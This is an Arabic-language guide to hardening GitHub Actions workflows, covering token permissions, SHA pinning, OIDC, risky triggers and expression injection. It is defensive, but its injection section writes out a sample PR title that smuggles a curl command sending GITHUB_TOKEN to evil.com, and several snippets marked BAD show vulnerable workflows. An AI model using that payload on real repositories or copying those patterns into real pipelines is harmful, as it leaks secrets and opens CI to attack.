1. الصلاحيات — مبدأ الحد الأدنى من الامتيازات
أهم تغيير يمكنك إجراؤه على أي سير عمل في GitHub Actions هو تقييد الصلاحيات. بشكل افتراضي، يمتلك GITHUB_TOKEN صلاحيات قراءة وكتابة على معظم النطاقات. قم بتغيير ذلك فوراً.
صلاحيات القراءة فقط الافتراضية (المستوى الأعلى)
ضع هذا في أعلى كل ملف سير عمل لجعل القراءة فقط هي الوضع الافتراضي لجميع المهام:
# .github/workflows/ci.yml
name: CI
on: [push, pull_request]
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
صلاحيات فارغة (بدون وصول)
للمهام التي لا تتعامل أبداً مع واجهات GitHub APIs أو المستودع، قم بإزالة جميع الصلاحيات بالكامل:
jobs:
lint:
runs-on: ubuntu-latest
permissions: {}
steps:
- uses: actions/checkout@v4
- run: npm run lint
لماذا يعمل هذا: يستخدم actions/checkout الرمز المميز للمستودعات الخاصة لكنه يعود إلى الاستنساخ المجهول للمستودعات العامة. إذا كان مستودعك عاماً، فإن permissions: {} آمن لعملية checkout.
وصفات الصلاحيات لكل مهمة
امنح فقط ما تحتاجه كل مهمة:
# Checkout only (private repo)
jobs:
test:
permissions:
contents: read
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Deploy to GitHub Pages
jobs:
deploy-pages:
permissions:
pages: write
id-token: write
runs-on: ubuntu-latest
# Push to GitHub Container Registry (GHCR)
jobs:
push-image:
permissions:
contents: read
packages: write
runs-on: ubuntu-latest
# Create a GitHub Release
jobs:
release:
permissions:
contents: write
runs-on: ubuntu-latest
# Comment on a Pull Request
jobs:
comment:
permissions:
pull-requests: write
runs-on: ubuntu-latest
القاعدة العامة: ابدأ بـ permissions: {} وأضف النطاقات واحداً تلو الآخر حتى تنجح المهمة. لا تترك أبداً صلاحيات القراءة والكتابة الافتراضية.
2. تثبيت الإجراءات — توقف عن استخدام الوسوم
الوسوم مثل @v4 قابلة للتغيير. يمكن للمهاجم الذي يخترق إجراءً شائعاً أن ينقل الوسم إلى commit خبيث. ثبّت كل إجراء تابع لطرف ثالث باستخدام SHA الكامل.
مثبّت مقابل غير مثبّت
# DANGEROUS — tag can be moved to any commit
- uses: actions/checkout@v4
# SAFE — immutable commit reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
التعليق في نهاية السطر يحافظ على سهولة القراءة بينما يقفل SHA الكود الدقيق الذي قمت بمراجعته.
العثور على SHA لأي إجراء
# Get the full SHA for a specific tag
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1
# Or use the GitHub API
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'
أتمتة التحديثات باستخدام Dependabot
التثبيت باستخدام SHA لا يعني التوقف عن التحديث. دع Dependabot يقترح ترقيات الإصدارات تلقائياً:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: "/"
schedule:
interval: weekly
commit-message:
prefix: "ci"
reviewers:
- "your-org/security-team"
labels:
- "dependencies"
- "ci"
يفهم Dependabot تثبيتات SHA. سيقوم بتحديث SHA و وسم التعليق في طلب سحب واحد.
3. إدارة الأسرار
يوفر GitHub ثلاثة نطاقات للأسرار. اختر النطاق المناسب لتقليل نطاق الضرر.
مقارنة نطاقات الأسرار
| النطاق | الرؤية | الأفضل لـ |
|---|---|---|
| Repository | جميع سير العمل في مستودع واحد | مفاتيح API والرموز الخاصة بالمستودع |
| Environment | المهام التي تستهدف تلك البيئة فقط | بيانات اعتماد الإنتاج، مفاتيح النشر |
| Organization | مستودعات مختارة عبر المنظمة | حسابات الخدمة المشتركة، بيانات اعتماد السجل |
قواعد حماية البيئة
تتيح لك البيئات تقييد عمليات النشر خلف الموافقات ومؤقتات الانتظار وقيود الفروع:
jobs:
deploy-production:
runs-on: ubuntu-latest
environment:
name: production
url: https://app.example.com
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Deploy
run: ./deploy.sh
env:
DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
ثم قم بتكوين بيئة production في Settings → Environments مع:
- مراجعون مطلوبون (واحد على الأقل)
- مؤقت انتظار (مثلاً 5 دقائق)
- قيود فرع النشر:
mainفقط
منطقة الخطر: pull_request مقابل pull_request_target
هذا أحد أخطر سوء الفهم في GitHub Actions:
| المشغّل | الكود المسحوب | الأسرار متاحة؟ | المخاطر |
|---|---|---|---|
pull_request |
PR merge commit | لا (للـ forks) | منخفضة |
pull_request_target |
الفرع الأساسي | نعم | حرجة إذا قمت بسحب كود PR |
لا تفعل هذا أبداً:
# CRITICAL VULNERABILITY — secrets exposed to fork PR code
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out UNTRUSTED fork code
- run: ./build.sh # Runs attacker-controlled code WITH secrets
إذا كنت بحاجة إلى pull_request_target، فلا تقم أبداً بسحب رأس PR. استخدمه فقط لوضع التسميات أو التعليق على كود الفرع الأساسي.
4. OIDC / اتحاد هوية حمل العمل
توقف عن تخزين بيانات اعتماد السحابة طويلة الأجل كأسرار. استخدم OpenID Connect للحصول على رموز قصيرة الأجل مباشرة من مزود السحابة الخاص بك.
كتلة الصلاحيات المطلوبة لجميع سير عمل OIDC:
permissions:
id-token: write # Required to request the OIDC JWT
contents: read # Required for actions/checkout
AWS — تكوين OIDC
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
قالب سياسة الثقة لـ AWS:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
}
}
}
]
}
GCP — اتحاد هوية حمل العمل
- name: Authenticate to Google Cloud
uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
with:
workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
service_account: github-actions@my-project.iam.gserviceaccount.com
Azure — بيانات الاعتماد الموحدة
- name: Azure Login
uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
الفائدة الرئيسية: لا توجد بيانات اعتماد ثابتة مخزنة في أي مكان. تنتهي صلاحية الرموز في دقائق. تقيد سياسة الثقة المستودعات والفروع والبيئات التي يمكنها تولي الدور.
5. مشغّلات سير العمل — الآمن مقابل الخطير
ليست جميع المشغّلات متساوية. بعضها ينفذ كوداً من مصادر غير موثوقة أو يمنح صلاحيات مرتفعة.
جدول أمان المشغّلات
| المشغّل | مستوى المخاطر | ملاحظات |
|---|---|---|
push |
منخفض | يشغّل فقط الكود المدمج مسبقاً |
pull_request |
منخفض | لا أسرار للـ forks |
schedule |
منخفض | يعمل على الفرع الافتراضي |
workflow_dispatch |
متوسط | مشغّل يدوي — تحقق من المدخلات |
pull_request_target |
عالي | الأسرار متاحة — انظر القسم 3 |
issue_comment |
عالي | أي معلق يمكنه التشغيل — قيّد بفحوصات الصلاحيات |
workflow_run |
عالي | يرث السياق المرتفع من سير العمل المشغِّل |
تصفية الفروع والمسارات
قلل التشغيلات غير الضرورية وحدّ من التعرض:
on:
push:
branches:
- main
- 'releases/**'
paths:
- 'src/**'
- 'package.json'
paths-ignore:
- 'docs/**'
- '*.md'
التحكم في التزامن
امنع عمليات النشر المتعددة من التسابق:
concurrency:
group: deploy-${{ github.ref }}
cancel-in-progress: false # Don't cancel in-flight deploys
# For PR builds where canceling old runs is safe:
concurrency:
group: ci-${{ github.event.pull_request.number || github.sha }}
cancel-in-progress: true
6. أمان إجراءات الطرف الثالث
كل سطر uses: في سير عملك هو تبعية في سلسلة التوريد. تعامل معه مثل أي تبعية أخرى.
قائمة التدقيق
قبل اعتماد أي إجراء تابع لطرف ثالث، تحقق من:
- الناشر: هل هو من منشئ موثق أو منظمة معروفة (مثل
actions/*،aws-actions/*)؟ - الكود المصدري: هل قرأت
action.ymlوسكريبت نقطة الدخول؟ - الصلاحيات: هل يطلب أكثر مما يحتاج؟
- النجوم / الاستخدام: الإجراءات قليلة الاستخدام أعلى خطورة.
- الصيانة: متى كان آخر commit؟ هل يتم معالجة المشكلات؟
- التبعيات: هل يسحب شجرة
node_modulesضخمة؟
انسخ الإجراءات الحرجة
للإجراءات التي تعمل في خطوط أنابيب حساسة، انسخها إلى منظمتك:
# Instead of:
- uses: some-random-org/deploy-action@v2
# Fork and pin:
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
أنشئ سير عمل مجدول لمزامنة نسختك ومراجعة الفروقات قبل دمج التغييرات الأصلية.
CODEOWNERS لملفات سير العمل
اطلب مراجعة فريق الأمان لأي تغييرات في سير العمل:
# .github/CODEOWNERS
.github/workflows/ @your-org/security-team
.github/actions/ @your-org/security-team
ادمج هذا مع قواعد حماية الفروع التي تتطلب موافقة CODEOWNERS لجعلها قابلة للتطبيق.
7. منع حقن التعبيرات
تعبيرات GitHub Actions (${{ }}) يتم توسيعها كقوالب قبل أن يراها الـ shell. إذا تحكم المهاجم بالقيمة، فإنه يتحكم في الـ shell الخاص بك.
النمط الخطير
# VULNERABLE — attacker controls the PR title
- name: Echo PR title
run: echo "PR: ${{ github.event.pull_request.title }}"
عنوان PR خبيث مثل Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # يكسر أمر echo ويسرّب الرمز المميز.
السياقات الخطيرة التي تقبل مدخلات المستخدم:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.head_commit.messagegithub.head_ref(اسم الفرع من الـ forks)
البديل الآمن — متغيرات البيئة
# SAFE — value is passed as an environment variable, not injected into the script
- name: Echo PR title
run: echo "PR: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
عندما تمر القيمة عبر متغير بيئة، يتعامل معها الـ shell كبيانات وليس كشيفرة. هذا هو الحل لـ كل حقن تعبير.
الاستخدام الآمن في الشروط
التعبيرات في شروط if: آمنة لأنها تُقيَّم بواسطة بيئة تشغيل Actions وليس الـ shell:
# SAFE — evaluated by Actions runtime, not shell
- name: Check label
if: contains(github.event.pull_request.labels.*.name, 'deploy')
run: echo "Deploy label found"
8. الأخطاء الشائعة — أهم 5 مع الإصلاحات
الخطأ 1: صلاحيات الرمز الافتراضية (المفرطة)
# BAD — implicit read-write on everything
on: push
jobs:
build:
runs-on: ubuntu-latest
steps: ...
# FIXED — explicit read-only default
on: push
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps: ...
الخطأ 2: استخدام وسوم قابلة للتغيير للإجراءات
# BAD
- uses: actions/setup-node@v4
# FIXED
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
الخطأ 3: بيانات اعتماد سحابية طويلة الأجل كأسرار
# BAD — static AWS keys that never expire
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
# FIXED — OIDC federation, no stored credentials
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
الخطأ 4: سحب كود PR في pull_request_target
# BAD — runs untrusted code with secrets
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: make build
# FIXED — use pull_request trigger (no secrets for forks)
on: pull_request
steps:
- uses: actions/checkout@v4
- run: make build
الخطأ 5: حقن التعبيرات عبر run:
# BAD — direct interpolation of user input
- run: echo "Issue: ${{ github.event.issue.title }}"
# FIXED — pass through environment variable
- run: echo "Issue: $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
بطاقة مرجعية سريعة
| الممارسة | ملخص |
|---|---|
| الصلاحيات الافتراضية | permissions: read-all في أعلى سير العمل |
| تثبيت الإجراءات | استخدم SHA كامل من 40 حرفاً + وسم تعليق |
| تحديث تلقائي للتثبيتات | Dependabot مع نظام github-actions |
| مصادقة السحابة | اتحاد OIDC، لا مفاتيح ثابتة أبداً |
| حماية الأسرار | نطاقات البيئة + قواعد الحماية |
| منع الحقن | استخدم دائماً env: للقيم التي يتحكم بها المستخدم |
| مراجعة سير العمل | CODEOWNERS على .github/workflows/ |
| تجنب المشغّلات الخطرة | تجنب pull_request_target + checkout |
تطبيق حتى نصف هذه الممارسات يضع خط أنابيب CI/CD الخاص بك في مقدمة معظم المنظمات. ابدأ بالصلاحيات والتثبيت — يستغرقان خمس دقائق ويزيلان فئات كاملة من هجمات سلسلة التوريد. ثم اعمل على اتحاد OIDC ومنع حقن التعبيرات لسد الثغرات المتبقية.
للتدريب العملي، استكشف مختبرات أمان CI/CD وأدلة GitHub Actions لرؤية هذه الأنماط مطبقة في سيناريوهات واقعية.